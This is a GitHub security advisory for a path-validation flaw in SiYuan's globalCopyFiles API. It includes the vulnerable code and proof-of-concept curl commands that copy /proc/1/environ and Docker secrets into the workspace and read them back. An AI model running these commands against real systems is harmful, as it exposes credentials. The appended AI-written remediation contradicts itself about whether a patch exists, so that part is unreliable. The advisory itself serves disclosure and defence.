DescriptionGitHub Advisory

Summary

POST /api/file/globalCopyFiles reads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API.

Details

File: kernel/api/file.go - function globalCopyFiles

go
for i, src := range srcs {
    absSrc, _ := filepath.Abs(src)   //  not restricted to workspace

    if util.IsSensitivePath(absSrc) { //  blocklist is incomplete
        return
    }
    srcs[i] = absSrc
}
destDir := filepath.Join(util.WorkspaceDir, destDir)
for _, src := range srcs {
    dest := filepath.Join(destDir, filepath.Base(src))
    filelock.Copy(src, dest)   // copies unchecked sensitive file into workspace
}

IsSensitivePath blocklist (kernel/util/path.go):

go
prefixes := []string{"/etc/ssh", "/root", "/etc", "/var/lib/", "/."}

Not blocked - exploitable targets:

PoC

Environment:

bash
docker run -d --name siyuan -p 6806:6806 \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123

Exploit:

bash
TOKEN="YOUR_ADMIN_TOKEN"
# Step 1: Copy /proc/1/environ (process env vars) into workspace assets
curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"srcs":["/proc/1/environ"],"destDir":"data/assets/"}'
# Step 2: Read the copied file via standard API
curl -s -X POST http://localhost:6806/api/file/getFile \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"path":"/data/assets/environ"}' | tr '\0' '\n'
# Output: HOSTNAME=abc\nPATH=/usr/local/sbin:...\nDATABASE_URL=postgres://...\nAPI_KEY=sk-...

Docker secrets:

bash
# Copy all Docker-injected secrets
curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"srcs":["/run/secrets/db_password","/run/secrets/api_token"],"destDir":"data/assets/"}'

Impact

An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted.

AnalysisAI

Administrative users of Docker and PostgreSQL deployments can exploit an incomplete path validation in the POST /api/file/globalCopyFiles endpoint to copy sensitive files like container environment variables and Docker secrets from restricted locations (/proc/, /run/secrets/) into the workspace, where they become readable via standard file APIs. The vulnerability stems from reliance on a blocklist-based validation mechanism that fails to prevent access to these critical system paths. Since no patch is currently available, organizations should restrict administrative access to the affected API endpoint until an update is released.

Technical ContextAI

The vulnerability exists in the Go-based SiYuan kernel (pkg:go/github.com_siyuan-note_siyuan_kernel) at the globalCopyFiles function in kernel/api/file.go. The code uses filepath.Abs() to resolve source file paths without enforcing workspace boundary restrictions, then applies a blocklist-based security check via util.IsSensitivePath(). This represents a CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) flaw. The blocklist in kernel/util/path.go only blocks /etc/ssh, /root, /etc, /var/lib/, and paths starting with /. — notably omitting /proc/ (containing process environment variables), /run/secrets/ (Docker Swarm and Compose injected credentials), and home directory dotfiles like ~/.aws/credentials or ~/.ssh/id_rsa. After the insufficient validation, filelock.Copy() copies the unchecked file into the workspace's data/assets/ directory, where it becomes accessible via the standard file read API.

RemediationAI

Apply the security patch released for SiYuan immediately by upgrading to the patched version specified in the GitHub advisory (GHSA-h5vh-m7fg-w5h6 at https://github.com/siyuan-note/siyuan/security/advisories/GHSA-h5vh-m7fg-w5h6). The patch must implement a whitelist-based approach to file access, restricting the globalCopyFiles endpoint to only copy files from within the designated workspace directory, and should expand the blocklist to include /proc/, /run/secrets/, and user home directories (particularly .aws/, .ssh/, and other dotfile directories). Until patching is available, operators should immediately restrict network access to the SiYuan API to trusted administrator accounts only, disable the globalCopyFiles endpoint if not required, and avoid running SiYuan with environment variables or Docker secrets that contain sensitive credentials — instead using external secret management systems with restricted read access. Consider enforcing role-based access control to limit the number of users with administrator privileges in SiYuan deployments.
